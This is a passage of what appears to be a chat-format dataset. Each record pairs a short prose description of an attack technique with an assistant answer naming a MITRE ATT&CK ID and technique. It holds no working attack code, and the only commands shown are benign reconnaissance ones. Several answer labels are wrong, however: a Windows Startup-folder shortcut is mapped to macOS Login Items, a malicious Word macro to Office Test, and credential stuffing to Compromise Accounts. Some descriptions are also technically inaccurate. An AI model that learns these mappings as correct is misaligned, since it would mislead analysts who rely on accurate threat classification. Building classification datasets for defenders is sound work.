                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromises a trusted software vendor's update mechanism, inserting malicious code into legitimate updates that are then distributed to end users."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker abuses a vulnerable version of Azure AD Connect to alter the password hash synchronization algorithm, resulting in modified authentication for hybrid identity users."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider abuses corporate code signing infrastructure to sign trojanized installers, thereby subverting trust controls."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Subvert Trust Controls: Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor overwrites a legitimate .dll with a malicious version, causing any application that depends on that DLL to execute the attacker’s code."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After compromising a system, the actor uploaded sensitive files to a remote OneDrive folder as a staging area."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploits the SMB protocol to tunnel command and control traffic between infected hosts."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added to the platform's firmware during manufacturing, enabling the attacker to control the device from the earliest boot stage."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker accesses the /etc/passwd and /etc/shadow files on a compromised Linux host to harvest password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses an orphaned service entry in the registry to load a malicious payload during system boot."
            },
            {
                "role": "assistant",
                "content": "T1569 - System Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application processes user-supplied XSLT without validation, leading to execution of OS commands via the msxsl.exe utility."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware disables the Windows host firewall by stopping the \"MpsSvc\" service and removing its registry keys."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was added to a third‑party Python library on PyPI, which downstream applications automatically import, causing data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious firmware modifies the system's BIOS to load a hidden driver before the operating system starts, allowing persistent code execution."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious bot accessed Confluence's REST API to pull markdown files containing API keys."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence is established by adding a command to the RunOnce registry key under HKCU, which executes the payload on the next system start."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan edits the Startup folder shortcut in Windows to point to its payload, ensuring it runs on boot."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a stolen SSH key to place a web shell on a Linux Apache server, enabling command execution over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is added as an authentication package in the Windows registry to be loaded by LSASS."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware executes a payload by calling rundll32.exe with the /i flag to impersonate a legitimate DLL execution, thereby evading detection."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing Exchange Web Services, the intrusion added a malicious user as a full-access delegate on the target's mailbox."
            },
            {
                "role": "assistant",
                "content": "T1098.002 - Account Manipulation: Additional Email Delegate Permissions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker subverts the trust control mechanism by registering a malicious trust provider in the system's security catalog, causing the OS to trust malicious updates."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged the Windows Command Shell to run a malicious command that added a new user to the system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware searches for .pfx files stored on Windows workstations without password protection and exfiltrates them to external storage."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised employee’s laptop to transfer confidential data onto a USB dongle."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encrypts C2 data and tunnels it through traffic that mimics legitimate HTTPS sessions, using TLS handshakes to appear normal."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised admin account, the threat actor relaxes the code signing enforcement policy, allowing execution of their signed malware."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a zero‑day exploit, the threat actor subverts the antivirus engine, allowing malicious code to execute undetected."
            },
            {
                "role": "assistant",
                "content": "T1211 - Exploitation for Defense Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After obtaining a privileged cloud account, the attacker retrieved all stored credentials from the organization's secret management platform."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary configures its C2 server to listen on TCP port 8443 instead of the typical port 443 to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a DLL injection technique to hook into the Windows API functions responsible for processing user input."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a zero‑day vulnerability to bypass authentication and extract credentials."
            },
            {
                "role": "assistant",
                "content": "T1212 - Exploitation for Credential Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends specially crafted Bluetooth packets that cause the OS to lock up."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable version of sudo, the attacker runs arbitrary commands as root without a password."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor applies MIME Base64 encoding to exfiltrate system log files."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a Kubernetes CronJob that runs a malicious script every hour to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker gathers domain trust information by parsing the output of 'repadmin /showrepl' for trust lines."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a cryptoworm that propagates across the LAN, encrypting every discovered file and locking the machines with a screen overlay demanding Bitcoin."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious USB drive was left in a public area; when plugged into a workstation it auto‑runs a PowerShell script that creates a new user account."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors dump the XML files containing cached passwords from the Group Policy Preferences registry hive to obtain privileged credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries alter the authentication flow by compromising the Azure AD Connect service account and changing the token signing certificates used for cloud logins."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script injected into the identity provider's login page modified the authentication request parameters, causing the system to accept any password for specific accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor conducts WHOIS searches to uncover the privacy protection status and any hidden registrant details of a target domain."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage a publicly accessible RESTful API to receive encrypted payloads and send back execution results."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses scheduled PowerShell tasks to gather system logs and transmit them to an external host."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code obfuscates exfiltrated data by converting it to a Unicode escape sequence format and then compresses it with LZMA."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat uses a crafted DNS query flood to overload the DNS resolver on a workstation, causing endpoint denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clickjacking attacks that trick users into clicking malicious links"
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a credential dumping module to pull stored RDP passwords from the Windows Credential Store."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group uses automated robocalls that sound like a bank representative, urging the recipient to verify their account by entering personal information over the phone."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Fast flux DNS leverages rapid DNS record changes to hide malicious infrastructure behind a constantly shifting pool of IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a logging feature by sending massive log entries, filling up log storage and halting further logging activity."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor utilizes a shared module that is automatically loaded by the victim's legitimate software, allowing persistence without obvious artifacts."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group exploits a bug in the network driver to cause the endpoint to lock up and stop processing legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets a transport rule in the mail server to forward any email sent to the finance@corp.com address to a hidden account."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places an internet shortcut (.url) on the desktop which loads a remote malicious script when opened."
            },
            {
                "role": "assistant",
                "content": "T1608.005 - Stage Capabilities: Link Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor utilizes a supply chain attack to compromise a system or data by targeting a third-party vendor or supplier."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware on an infected machine reads stored Confluence session cookies to impersonate a user and download restricted documents."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Data from Information Repositories: Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code accesses the physical drive using raw device files (e.g., \"/dev/sda\") to collect system logs."
            },
            {
                "role": "assistant",
                "content": "T1006 - Direct Volume Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider uses privileged access to add a new user account to the company's G Suite domain."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software installs a packet sniffer on the victim's machine to monitor and log all network packets."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create multiple TikTok accounts with fabricated personas to disseminate social engineering videos aimed at extracting passwords."
            },
            {
                "role": "assistant",
                "content": "T1585.001 - Establish Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans the file system for *.msg and *.eml files and uploads them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The code uses steganography to embed a backdoor within the EXIF metadata of a series of photographs."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT modifies data streams of a file transfer protocol, replacing legitimate files with tampered versions during transit."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary creates a malicious Word document that leverages a macro to automatically launch a PowerShell payload when the document is opened on a victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers performed credential stuffing attacks on Instagram accounts using lists of previously breached passwords."
            },
            {
                "role": "assistant",
                "content": "T1586.001 - Compromise Accounts: Social Media Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a compromised token to create additional role bindings that provide read/write access to secrets."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit the KeePass database file, decrypt it using the master password, and harvest all stored entries."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a red team exercise, the team runs \"Get-ADUser -Filter *\" to pull all user objects from Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker abuses token theft by dumping the token of a SYSTEM account from memory and executing commands as SYSTEM."
            },
            {
                "role": "assistant",
                "content": "T1134.001 - Access Token Manipulation: Token Impersonation/Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages application vulnerability exploits to achieve initial access to one system, then moves laterally using the same or related exploits on other vulnerable systems within the network."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages a previously compromised domain account to establish a persistent RDP session on a high‑value server."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Valid Accounts: Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a forensic tool to mount the NTDS.dit file and dump all user password hashes stored in Active Directory."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware invokes odbcconf with the /s switch to silently register a malicious COM object for code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some malware attempts to use the Android Binder IPC mechanism to communicate between a malicious app and a system service."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group drops a defacement script onto an unsecured web directory, altering site visuals."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
